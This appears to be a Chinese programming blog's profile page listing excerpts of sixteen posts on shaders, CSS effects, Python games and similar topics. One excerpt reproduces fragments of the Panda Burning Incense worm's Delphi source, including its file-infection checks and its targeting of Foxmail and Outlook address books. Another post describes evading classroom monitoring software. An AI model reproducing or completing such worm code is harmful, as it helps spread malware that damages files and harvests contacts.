自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(16)
  • 收藏
  • 关注

原创 OpenGL:游戏建模着色器

经过千辛万苦,终于把GLSL编写的着色器代码读入了,当然,你的GLSL代码可能出错,还需要检查等,自己写这个类真的会很累。其中红、绿、蓝三种颜色相组合,就可以得到我们所需要的各种颜色,而alpha值不直接影响颜色。用字符串去定义真的很low,把着色器从代码中拿出去,方便进行着色的修改,当然,自己写着色器类真的很麻烦。混合的效果就是浅蓝色。大神的代码不多,我拜读了一下,讲一些我对着色器类的理解,不想听原理的直接看下面的使用方法吧。是的 当然,应该还有很多强大的着色器类,我也是小白,跟着教程走的,大神请绕道。

2023-12-29 16:16:22 929 1

原创 脱离机房老师的控制

如果你提前来到教室,电脑暂时未被控制不过上课就会被控制,那么你可以不用通过拔掉网线这种麻烦的方法,而可以直接禁用掉网卡即可或者如果这里没有的话可以在下面这里禁用选择你想要禁用的网卡禁用即可,如果之后想要启用的话也是在这个位置启用。下面我们就来看看Win7摆脱学校机房教师控制电脑的技巧学校机房的电脑都可以被老师控制,随时可以监视每台电脑的运行情况,那如何摆脱老师控制呢?在机房上课,电脑都是win7系统,而且老师能控制屏幕,想要摆脱老师的控制,该怎么操作呢?所有服务的对勾不见了,点击确定,重启电脑,设置完成。

2024-01-05 21:34:43 1663 1

原创 虚幻引擎代码应用规则

UE4的C++代码解析生成工具\nUHT 将 UE代码转换成标准的C++代码,而 UBT 负责调用 UHT 来实现这个转化工作,转化完之后 UBT\n调用标准的C++代码的编译器来将 UHT 转化后的标准C++代码完成编译成二进制文件\n整体上看,UHT 是 UBT 的编译流程的一部分。其他的大部分以F开头(如FString,FName)\ntypedef的以原型名前缀为准在编辑器里和C#里,类型名是省略掉前缀的三、 资源命名规则三、 文件夹命名规则项目名称(加个类型做后缀就一目了然了)

2024-01-05 21:21:49 389 1

原创 css:八股文

n任何改变用来构建渲染树的信息都会导致一次重排或重绘:\n\n添加,删除,更新DOM节点\n通过display:none隐藏一个DOM节点-触发重排和重绘\n通过visibility:hidden隐藏一个DOM节点-只触发重绘,因为没有几何变化\n移动或者给页面中的DOM节点添加动画\n添加一个样式表,调整样式属性\n用户行为,例如调整窗口大小,改变字号,或者滚动。\n\n该元素并不脱离文档流,仍然保留元素原本在文档流中的位置\n当元素在容器中被滚动超过指定的偏移值时,元素在容器内固定在指定位置。

2024-01-05 21:04:11 570 1

原创 Python获得IP的三种方法

获取本机所有 IP 地址。# 获取IP地址信息。

2024-01-03 18:23:51 579 1

原创 游戏开发:实现游戏人物移动

移动的方向\n这三行代码用于获取物体移动方向,move_direction是一个三维向量,默认是0向量,物体移动就会变为非零向量。\n\n最后就用character_control.Move(move_direction * speed_walk * Time.deltaTime);来移动物体啦\n\n这种方法可以实现物体爬坡,用WASD操控物体移动即可。

2024-01-01 13:37:02 351

原创 新年快乐

text_color = (255, 190, 200) # 字体颜色。# 在爆炸位置生成粒子对象并添加到粒子列表中。# 给爆炸产生的粒子施加随机力。# 生成一个表示发射出的火花的粒子对象。# 给发射出的火花施加重力。# 初始化爆炸状态为 False。# 判断是否超出爆炸半径。# 爆炸产生的粒子减速。# 爆炸产生的粒子数量范围。# 随机生成三种颜色。# 绘制发射出的火花。新年福利:烟花特效代码。

2024-01-01 09:52:45 392

原创 关灯游戏源码

print("输入无效,请输入1-3的数字。print("输入无效,请输入1-3的数字。print("该玩家为第一次登录,自动为其注册")print("输入无效,请输入一个整数。print("输入无效,请输入一个整数。print("登录成功!# 翻转(x1,y1)周围灯的状态。print("注册登录成功!# 翻转(x1,y1)处灯的状态。# 左侧灯的状态反转。# 右侧灯的状态反转。# 上侧灯的状态反转。# 下侧灯的状态反转。

2023-12-31 09:41:46 473 1

原创 css:华为手机充电特效

仔细看两圆相交的过程,在边与边接触的时候,会产生一种边界融合的效果,通过对比度滤镜把高斯模糊的模糊边缘给干掉,利用高斯模糊实现融合效果。为了更好的看效果 我把所有的元素做了颜色区分,顶部其实就是两个圆利用border-radius去设置了圆角边框的弧度,下面呢?1、首先我们注意分析,这个效果到底需要怎样的结构去实现。注意注意注意:一定要用SCSS!注意注意注意:一定要用SCSS!注意注意注意:一定要用SCSS!但是,当他们“合体”的时候,产生了奇妙的融合现象。这两个滤镜,可以很好的实现这种融合效果。

2023-12-30 17:02:11 498

原创 事件监听器(慎用)

Job.DisallowConcurrentExecution(true),true时禁止该job的多个实例并发执行,即使触发器时间已来到下一个执行点,并不会立即触发创建job实例的执行,需要等待前一个job实例执行完成。调度器本身收到的一些事件通知,接口ISchedulerListener,如作业的添加、删除、停止、挂起等事件通知,调度器的启动、关闭、出错等事件通知,创建调度器,并创建Job实例,触发器实例,调度器绑定Job实例和触发器实例,程序主代码如下所示,自建job需要处理好异常,否则。

2023-12-29 16:31:09 947 1

原创 Python源码保护(pali不可用)

用户可以在不安装Python解释器或任何模块的情况下运行打包的应用程序。PyInstaller支持Python 3.8及更新版本,并正确地捆绑了许多主要的Python包,如numpy、matplotlib、PyQt、wxPython等。制作一个Windows应用程序,你可以在Windows上运行PyInstaller,制作一个Linux应用程序,需要在Linux上运行它。PyInstaller 不仅支持 -F 选项,而且也支持如下表所示的常用选项。在dist目录下生成了一个hello.exe可执行文件。

2023-12-29 16:22:02 335 1

原创 圣诞节圣诞树绘制代码(Python)

t.write("小黄同学’s Christmas Tree", font=("Comic Sans MS", 26, "bold")) # 定义文字、位置、字体、大小。t.sety(r.randint(-100, 350)) # 定义y坐标,注意雪花一般在地上不会落下,所以不会从太小的纵座轴开始。def drawsnowman(n,m,a,b): # 画雪人 (n,m)是头和身子交点的坐标,a是头的大小,m是身体的大小。# t.forward(int(snowsize)) #int()取整数。

2023-12-29 16:11:33 381 1

原创 黑客帝国代码语特效

创建一个可视窗口, 如果不想全屏运行,可以把 FULLSCREEN 参数去掉。# 从队列中获取事件, 如果退出程序, 按两下确认键即可。# 按屏幕的宽带计算可以在画板上放几列坐标并生成一个列表。# 重新编辑图像第二个参数是坐上角坐标。# 重新编辑每个坐标点的图像。# 将暂停一段给定的毫秒数。

2023-12-29 15:51:44 357 1

原创 C语言实例_生成6位数的随机密码(强迫症福音)

在 main 函数中,定义了密码的长度(这里是 6),然后使用 malloc 函数分配足够的内存来存储生成的密码(包括空字符)。实现过程中,使用了随机数生成器函数 rand() 来获取随机数,并与自定义的密码字符集合进行结合,以生成密码的不同字符。为了确保密码的安全性,密码应该是足够强大和难以猜测的,这就需要密码生成器来帮助用户生成高强度的随机密码。使用随机密码生成器可以提高密码的复杂性和安全性,减少密码被猜测和破解的风险,从而保护用户的个人隐私和敏感信息。同时,密码字符集合包括小写字母、大写字母和数字。

2023-12-29 15:36:46 956

原创 c++:只能出现一次数字

在第一道题目中,我们使用异或运算来找出只出现一次的元素。由于异或运算的性质,相同的数字异或结果为0,任何数字与0异或仍然为它本身。因此,最终的结果就是那个只出现了一次的元素。在第二道题目中,我们使用位运算来找出只出现一次的元素。我们遍历32位二进制数的每一位,统计当前二进制位上1出现的次数。由于除了那个只出现一次的元素外,其他元素都出现了三次,所以1出现的次数必然是3的倍数或者0,不会是1或2。最终处理完32位二进制数的每一位后,就能得到只出现一次的元素。

2023-12-28 22:23:11 639 1

原创 熊猫烧香病毒代码

if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染。if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染。if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记。else if Ext = '.ADC' then //Foxmail地址自动完成文件。else if Ext = '.WAB' then //Outlook地址簿文件。

2023-12-28 22:19:01 652 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除